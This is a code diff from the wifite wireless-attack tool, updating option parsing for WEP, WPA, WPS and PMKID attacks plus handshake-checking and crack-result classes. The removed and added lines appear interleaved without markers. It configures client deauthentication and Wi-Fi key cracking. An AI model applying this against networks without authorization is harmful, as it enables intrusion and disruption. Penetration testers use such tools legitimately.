Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack)
cls.wep_restart_aircrack = args.wep_restart_aircrack
Color.pl('{+} {C}option:{W} will restart aircrack every ' +
'{G}%d seconds{W}' % args.wep_restart_aircrack)
# WPA
if args.wep_keep_ivs:
cls.wep_keep_ivs = args.wep_keep_ivs
Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
@classmethod
def parse_wpa_args(cls, args):
'''Parses WPA-specific arguments'''
if args.wpa_filter:
Configuration.wpa_filter = args.wpa_filter
cls.wpa_filter = args.wpa_filter
if args.wordlist:
if os.path.exists(args.wordlist):
Configuration.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
else:
Configuration.wordlist = None
if not os.path.exists(args.wordlist):
cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
elif os.path.isfile(args.wordlist):
cls.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
elif os.path.isdir(args.wordlist):
cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist)
if args.wpa_deauth_timeout:
Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
cls.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every ' +
'{G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout:
Configuration.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
cls.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' +
'{G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes:
Configuration.ignore_old_handshakes = True
Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
cls.ignore_old_handshakes = True
Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' +
'(force capture)')
if args.wpa_handshake_dir:
Configuration.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
cls.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to ' +
'{G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake:
Configuration.wpa_strip_handshake = True
Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
cls.wpa_strip_handshake = True
Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')
# WPS
@classmethod
def parse_wps_args(cls, args):
'''Parses WPS-specific arguments'''
if args.wps_filter:
Configuration.wps_filter = args.wps_filter
cls.wps_filter = args.wps_filter
if args.wps_only:
Configuration.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
cls.wps_only = True
cls.wps_filter = True # Also only show WPS networks
Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' +
'{G}WPS attacks{W} (avoids handshake and PMKID)')
if args.no_wps:
Configuration.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
# No WPS attacks at all
cls.no_wps = args.no_wps
cls.wps_pixie = False
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' +
'(Pixie-Dust/PIN) on targets')
elif args.wps_pixie:
# WPS Pixie-Dust only
cls.wps_pixie = True
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' +
'attack{W} (no {O}PIN{W}) on targets')
elif args.wps_no_pixie:
# WPS PIN only
cls.wps_pixie = False
cls.wps_pin = True
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' +
'(no {O}Pixie-Dust{W}) on targets')
if args.use_bully:
Configuration.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
from .tools.bully import Bully
if not Bully.exists():
Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}')
cls.use_bully = False
else:
cls.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' +
'for WPS Attacks')
if args.wps_pixie_timeout:
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_pixie_step_timeout:
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
cls.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' +
'{O}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_fail_threshold:
Configuration.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
cls.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold:
Configuration.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold)
if args.wps_skip_rate_limit == False:
Configuration.wps_skip_rate_limit = False
Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
cls.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d timeouts{W}' % args.wps_timeout_threshold)
# Adjust encryption filter
Configuration.encryption_filter = []
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
if args.wps_ignore_lock:
cls.wps_ignore_lock = True
Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs')
if len(Configuration.encryption_filter) == 3:
@classmethod
def parse_pmkid_args(cls, args):
if args.use_pmkid_only:
cls.use_pmkid_only = True
Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')
if args.pmkid_timeout:
cls.pmkid_timeout = args.pmkid_timeout
Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout)
@classmethod
def parse_encryption(cls):
'''Adjusts encryption filter (WEP and/or WPA and/or WPS)'''
cls.encryption_filter = []
if cls.wep_filter: cls.encryption_filter.append('WEP')
if cls.wpa_filter: cls.encryption_filter.append('WPA')
if cls.wps_filter: cls.encryption_filter.append('WPS')
if len(cls.encryption_filter) == 3:
Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
elif len(Configuration.encryption_filter) == 0:
elif len(cls.encryption_filter) == 0:
# Default to scan all types
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
cls.encryption_filter = ['WEP', 'WPA', 'WPS']
else:
Color.pl('{+} {C}option:{W} ' +
'targeting {G}%s-encrypted{W} networks'
% '/'.join(Configuration.encryption_filter))
% '/'.join(cls.encryption_filter))
# Adjust WEP attack list
Configuration.wep_attacks = []
import sys
@classmethod
def parse_wep_attacks(cls):
'''Parses and sets WEP-specific args (-chopchop, -fragment, etc)'''
cls.wep_attacks = []
from sys import argv
seen = set()
for arg in sys.argv:
for arg in argv:
if arg in seen: continue
seen.add(arg)
if arg == '-arpreplay': Configuration.wep_attacks.append('replay')
if arg == '-fragment': Configuration.wep_attacks.append('fragment')
if arg == '-chopchop': Configuration.wep_attacks.append('chopchop')
if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte')
if arg == '-p0841': Configuration.wep_attacks.append('p0841')
if arg == '-hirte': Configuration.wep_attacks.append('hirte')
if arg == '-arpreplay': cls.wep_attacks.append('replay')
if arg == '-fragment': cls.wep_attacks.append('fragment')
if arg == '-chopchop': cls.wep_attacks.append('chopchop')
if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')
if arg == '-p0841': cls.wep_attacks.append('p0841')
if arg == '-hirte': cls.wep_attacks.append('hirte')
if len(Configuration.wep_attacks) == 0:
if len(cls.wep_attacks) == 0:
# Use all attacks
Configuration.wep_attacks = ['replay',
cls.wep_attacks = ['replay',
'fragment',
'chopchop',
'caffelatte',
'p0841',
'hirte']
elif len(Configuration.wep_attacks) > 0:
'hirte'
]
elif len(cls.wep_attacks) > 0:
Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
% '{W}, {G}'.join(Configuration.wep_attacks))
# Commands
if args.cracked: Configuration.show_cracked = True
if args.check_handshake: Configuration.check_handshake = args.check_handshake
if args.crack_handshake: Configuration.crack_handshake = True
% '{W}, {G}'.join(cls.wep_attacks))
@staticmethod
def temp(subfile=''):
@classmethod
def temp(cls, subfile=''):
''' Creates and/or returns the temporary directory '''
if Configuration.temp_dir is None:
Configuration.temp_dir = Configuration.create_temp()
return Configuration.temp_dir + subfile
if cls.temp_dir is None:
cls.temp_dir = cls.create_temp()
return cls.temp_dir + subfile
@staticmethod
def create_temp():
@@ -300,49 +463,57 @@ class Configuration(object):
tmp += os.sep
return tmp
@staticmethod
def delete_temp():
@classmethod
def delete_temp(cls):
''' Remove temp files and folder '''
if Configuration.temp_dir is None: return
if os.path.exists(Configuration.temp_dir):
for f in os.listdir(Configuration.temp_dir):
os.remove(Configuration.temp_dir + f)
os.rmdir(Configuration.temp_dir)
if cls.temp_dir is None: return
if os.path.exists(cls.temp_dir):
for f in os.listdir(cls.temp_dir):
os.remove(cls.temp_dir + f)
os.rmdir(cls.temp_dir)
@staticmethod
def exit_gracefully(code=0):
@classmethod
def exit_gracefully(cls, code=0):
''' Deletes temp and exist with the given code '''
Configuration.delete_temp()
cls.delete_temp()
Macchanger.reset_if_changed()
from tools.airmon import Airmon
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
Airmon.stop(Configuration.interface)
from .tools.airmon import Airmon
if cls.interface is not None and Airmon.base_interface is not None:
if not cls.demon:
Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!')
Color.pl('{!} To disable Monitor Mode when finished: ' +
'{C}airmon-ng stop %s{W}' % cls.interface)
else:
# Stop monitor mode
Airmon.stop(cls.interface)
# Bring original interface back up
Airmon.put_interface_up(Airmon.base_interface)
if Airmon.killed_network_manager:
Airmon.start_network_manager()
Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
#Airmon.start_network_manager()
exit(code)
@staticmethod
def dump():
@classmethod
def dump(cls):
''' (Colorful) string representation of the configuration '''
from util.color import Color
from .util.color import Color
max_len = 20
for key in Configuration.__dict__.keys():
for key in cls.__dict__.keys():
max_len = max(max_len, len(key))
result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len))
result = Color.s('{W}%s Value{W}\n' % 'cls Key'.ljust(max_len))
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(Configuration.__dict__.iteritems()):
if key.startswith('__') or type(val) == staticmethod or val is None:
for (key,val) in sorted(cls.__dict__.items()):
if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None:
continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))
result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val))
return result
if __name__ == '__main__':
Configuration.initialize(False)
print Configuration.dump()
print(Configuration.dump())

0
wifite/model/__init__.py Normal file → Executable file
View File

View File

@@ -1,33 +1,27 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
class Attack(object):
'''
Contains functionality common to all attacks
'''
'''Contains functionality common to all attacks.'''
target_wait = 20
target_wait = 60
def __init__(self, target):
self.target = target
def run(self):
raise Exception("Unimplemented method: run")
raise Exception('Unimplemented method: run')
def wait_for_target(self, airodump):
'''
Waits for target to appear in airodump
'''
'''Waits for target to appear in airodump.'''
start_time = time.time()
targets = airodump.get_targets(apply_filter=False)
while len(targets) == 0:
# Wait for target to appear in airodump.
if int(time.time() - start_time) > Attack.target_wait:
raise Exception(
"Target did not appear after %d seconds, stopping"
% Attack.target_wait)
raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)
time.sleep(1)
targets = airodump.get_targets()
continue

View File

@@ -1,9 +1,9 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class Client(object):
'''
Holds details for a "Client" - a wireless device (e.g. computer)
Holds details for a 'Client' - a wireless device (e.g. computer)
that is associated with an Access Point (e.g. router)
'''
@@ -30,7 +30,7 @@ class Client(object):
def __str__(self):
''' String representation of a Client '''
result = ''
for (key,value) in self.__dict__.iteritems():
for (key,value) in self.__dict__.items():
result += key + ': ' + str(value)
result += ', '
return result
@@ -39,4 +39,4 @@ class Client(object):
if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',')
c = Client(fields)
print c
print('Client', c)

View File

@@ -1,32 +1,44 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.process import Process
from ..util.color import Color
from ..tools.tshark import Tshark
from ..tools.pyrit import Pyrit
import re
import os
import re, os
class Handshake(object):
def __init__(self, capfile, bssid=None, essid=None):
self.capfile = capfile
self.bssid = bssid
self.essid = essid
def divine_bssid_and_essid(self):
'''
Tries to find BSSID and ESSID from cap file.
Sets this instances 'bssid' and 'essid' instance fields.
'''
# We can get BSSID from the .cap filename if Wifite captured it.
# ESSID is stripped of non-printable characters, so we can't rely on that.
if self.bssid is None:
hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE)
match = hs_regex.match(self.capfile)
if match:
self.bssid = match.group(1).replace('-', ':')
# Get list of bssid/essid pairs from cap file
pairs = self.tshark_bssid_essid_pairs()
pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid)
if len(pairs) == 0:
# Find bssid/essid pairs that have handshakes in Pyrit
pairs = self.pyrit_handshakes()
pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit
if len(pairs) == 0 and not self.bssid and not self.essid:
# Tshark and Pyrit failed us, nothing else we can do.
raise Exception("Cannot find BSSID or ESSID in cap file")
raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)
if not self.essid and not self.bssid:
# We do not know the bssid nor the essid
@@ -34,10 +46,8 @@ class Handshake(object):
# HACK: Just use the first one we see
self.bssid = pairs[0][0]
self.essid = pairs[0][1]
Color.pl('{!} {O}Warning{W}:' +
' {O}Arbitrarily selected' +
' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}'
% (self.bssid, self.essid))
Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' +
'{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid))
elif not self.bssid:
# We already know essid
@@ -55,247 +65,82 @@ class Handshake(object):
self.essid = essid
break
def has_handshake(self):
if not self.bssid or not self.essid:
self.divine_bssid_and_essid()
if len(self.tshark_handshakes()) > 0:
return True
if len(self.tshark_handshakes()) > 0: return True
if len(self.pyrit_handshakes()) > 0: return True
if len(self.pyrit_handshakes()) > 0:
return True
# TODO: Can we trust cowpatty & aircrack?
#if len(self.cowpatty_handshakes()) > 0: return True
#if len(self.aircrack_handshakes()) > 0: return True
# XXX: Disabling these checks since I don't think they are reliable.
'''
if len(self.cowpatty_handshakes()) > 0:
return True
if len(self.aircrack_handshakes()) > 0:
return True
'''
return False
def tshark_bssid_essid_pairs(self):
'''
Scrapes capfile for beacon frames indicating the ESSID.
Returns list of tuples: (bssid,essid)
'''
if not Process.exists('tshark'):
raise Exception('tshark is required to find ESSID')
essids = set()
# Extract beacon frames from cap file
cmd = [
'tshark',
'-r', self.capfile,
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05',
'-2', # tshark: -R without -2 is deprecated.
'-n'
]
proc = Process(cmd, devnull=False)
for line in proc.stdout().split('\n'):
# Extract src, dst, and essid
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$'
% (mac_regex, mac_regex), line)
if match is None:
# Line doesn't contain src, dst, ssid
continue
(src, dst, essid) = match.groups()
if dst.lower() == "ff:ff:ff:ff:ff:ff": continue
if self.bssid:
# We know the BSSID, only return the ESSID for this BSSID.
if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower():
essids.add((src, essid))
else:
# We do not know BSSID, add it.
essids.add((src, essid))
# Return list of tuples
return [x for x in essids]
def tshark_command(self):
return [
'tshark',
'-r', self.capfile,
'-R', 'eapol',
'-n',
'-2' # 2-pass filtering, required when using -R in newer versions of tshark
]
def tshark_handshakes(self):
''' Returns True if tshark identifies a handshake, False otherwise '''
if not Process.exists('tshark'):
'''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).'''
tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid)
return [(bssid, None) for bssid in tshark_bssids]
def cowpatty_handshakes(self):
'''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).'''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
target_client_msg_nums = {}
# Dump EAPOL packets
proc = Process(self.tshark_command(), devnull=False)
for line in proc.stdout().split('\n'):
# Extract source mac, destination mac, and message numbers
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) (?:->|→) (%s).*Message.*(\d).*(\d)'
% (mac_regex, mac_regex), line)
if match is None:
# Line doesn't contain src, dst, Message numbers
continue
(src, dst, index, ttl) = match.groups()
# "Message (index) of (ttl)"
index = int(index)
ttl = int(ttl)
if ttl != 4:
# Must be a 4-way handshake
continue
# Identify the client and target MAC addresses
if index % 2 == 1:
# First and Third messages
target = src
client = dst
else:
# Second and Fourth messages
client = src
target = dst
if self.bssid and self.bssid.lower() != target.lower():
# We know the BSSID and this msg was not for the target
continue
target_client_key = '%s,%s' % (target, client)
# Ensure all 4 messages are:
# Between the same client and target
# In numeric & chronological order (1,2,3,4)
if index == 1:
# First message, add to dict
target_client_msg_nums[target_client_key] = 1
elif target_client_key not in target_client_msg_nums:
# Not first message, we haven't gotten the first message yet
continue
elif index - 1 != target_client_msg_nums[target_client_key]:
# Message is not in sequence
continue
else:
# Message is > 1 and is received in-order
target_client_msg_nums[target_client_key] = index
bssids = set()
# Check if we have all 4 messages for the handshake between the same MACs
for (client_target, num) in target_client_msg_nums.iteritems():
if num == 4:
# We got a handshake!
bssid = client_target.split(',')[0]
bssids.add(bssid)
return [(bssid, None) for bssid in bssids]
def cowpatty_command(self):
return [
command = [
'cowpatty',
'-r', self.capfile,
'-s', self.essid,
'-c' # Check for handshake
]
def cowpatty_handshakes(self):
''' Returns True if cowpatty identifies a handshake, False otherwise '''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
proc = Process(self.cowpatty_command(), devnull=False)
proc = Process(command, devnull=False)
for line in proc.stdout().split('\n'):
if 'Collected all necessary data to mount crack against WPA' in line:
return [(None, self.essid)]
return []
def pyrit_command(self):
return [
'pyrit',
'-r', self.capfile,
'analyze'
]
def pyrit_handshakes(self):
''' Returns True if pyrit identifies a handshake, False otherwise '''
if not Process.exists('pyrit'):
return []
'''Returns list[tuple] of BSSID & ESSID pairs.'''
return Pyrit.bssid_essid_with_handshakes(
self.capfile, bssid=self.bssid, essid=self.essid)
bssid_essid_pairs = set()
hit_target = False
current_bssid = self.bssid
current_essid = self.essid
proc = Process(self.pyrit_command(), devnull=False)
for line in proc.stdout().split('\n'):
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$"
% (mac_regex), line)
if match:
# We found a BSSID and ESSID
(bssid, essid) = match.groups()
# Compare to what we're searching for
if self.bssid and self.bssid.lower() == bssid.lower():
current_essid = essid
hit_target = True
continue
elif self.essid and self.essid == essid:
current_bssid = bssid
hit_target = True
continue
elif not self.bssid and not self.essid:
# We don't know either
current_bssid = bssid
current_essid = essid
hit_target = True
else:
# This AccessPoint is not what we're looking for
hit_Target = False
else:
# Line does not contain AccessPoint
if hit_target and ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) )
return [x for x in bssid_essid_pairs]
def aircrack_command(self):
return 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile)
def aircrack_handshakes(self):
'''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked'''
if not self.bssid:
return []
(stdout, stderr) = Process.call(self.aircrack_command())
return [] # Aircrack requires BSSID
command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile)
(stdout, stderr) = Process.call(command)
if 'passphrase not in dictionary' in stdout.lower():
return [(self.bssid, None)]
else:
return []
def analyze(self):
'''Prints analysis of handshake capfile'''
self.divine_bssid_and_essid()
pairs = self.tshark_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'tshark')
if Tshark.exists():
Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark')
pairs = self.pyrit_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'pyrit')
if Pyrit.exists():
Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit')
pairs = self.cowpatty_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'cowpatty')
if Process.exists('cowpatty'):
Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty')
pairs = self.aircrack_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'aircrack')
Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack')
def strip(self, outfile=None):
@@ -316,8 +161,7 @@ class Handshake(object):
cmd = [
'tshark',
'-r', self.capfile, # input file
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter
'-2', # tshark: -R without -2 is deprecated.
'-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter
'-w', outfile # output file
]
proc = Process(cmd)
@@ -335,32 +179,68 @@ class Handshake(object):
Prints out BSSID and/or ESSID given a list of tuples (bssid,essid)
'''
tool_str = ''
if tool:
if tool is not None:
tool_str = '{C}%s{W}: ' % tool.rjust(8)
if len(pairs) == 0:
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}"
% (tool_str))
Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str))
return
for (bssid, essid) in pairs:
out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str
if bssid and essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W} ({G}%s{W})' % (bssid, essid))
Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid))
elif bssid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W}' % bssid)
Color.pl('%s {G}%s{W}' % (out_str, bssid))
elif essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for ({G}%s{W})' % essid)
Color.pl('%s ({G}%s{W})' % (out_str, essid))
@staticmethod
def check():
''' Analyzes .cap file(s) for handshake '''
from ..config import Configuration
if Configuration.check_handshake == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [Configuration.check_handshake]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
if __name__ == '__main__':
hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A')
print('With BSSID & ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')
hs.analyze()
print "has_hanshake() =", hs.has_handshake()
print('has_hanshake() =', hs.has_handshake())
print('\nWith BSSID, but no ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18')
hs.analyze()
print('has_hanshake() =', hs.has_handshake())
print('\nWith ESSID, but no BSSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi')
hs.analyze()
print('has_hanshake() =', hs.has_handshake())
print('\nWith neither BSSID nor ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap')
try:
hs.analyze()
print('has_hanshake() =', hs.has_handshake())
except Exception as e:
Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e)

View File

@@ -1,101 +0,0 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
import re
class Interface(object):
'''
Represents an 'interface' known by airmon-ng
'''
# Max length of fields.
# Used for printing a table of interfaces.
PHY_LEN = 6
NAME_LEN = 12
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __init__(self, fields):
'''
Initializes & stores info about an interface.
Args:
Fields - list of fields
0: PHY
1: NAME
2: DRIVER
3: CHIPSET
'''
if len(fields) == 3:
phy = 'phyX'
match = re.search(' - \[(phy\d+)\]', fields[2])
if match:
phy = match.groups()[0]
fields[2] = fields[2][:fields[2].rfind(' - [')]
fields.insert(0, phy)
if len(fields) != 4:
raise Exception("Expected 4, got %d in %s" % (len(fields), fields))
self.phy = fields[0].strip()
self.name = fields[1].strip()
self.driver = fields[2].strip()
self.chipset = fields[3].strip()
def __str__(self):
''' Colored string representation of interface '''
s = Color.s("{W}%s" % self.phy)
s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
s += Color.s("{G}%s" % self.name)
s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
s += Color.s("{C}%s" % self.driver)
s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
s += Color.s("{W}%s" % self.chipset)
s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
s = ' '
s += 'PHY'
s += ' ' * (Interface.PHY_LEN - len("PHY"))
s += 'Interface'
s += ' ' * (Interface.NAME_LEN - len("Interface"))
s += 'Driver'
s += ' ' * (Interface.DRIVER_LEN - len("Driver"))
s += 'Chipset'
s += ' ' * (Interface.CHIPSET_LEN - len("Chipset"))
s += '\n---'
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
return s
@staticmethod
def get_mac(iface=None):
from ..config import Configuration
from ..util.process import Process
if iface is None:
Configuration.initialize()
iface = Configuration.interface
if iface is None:
raise Exception('Interface must be defined (-i)')
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search(' (%s)' % mac_regex, output)
if not match:
match = re.search('unspec (%s)' % mac_regex, output)
if not match:
raise Exception('Could not find the mac address for %s' % iface)
return match.groups()[0].replace('-', ':')
if __name__ == '__main__':
mac = Interface.get_mac()
print 'wlan0mon mac address:', mac

60
wifite/model/pmkid_result.py Executable file
View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_file, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_file = pmkid_file
self.key = key
super(CrackResultPMKID, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'PMKID'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid_file' : self.pmkid_file
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
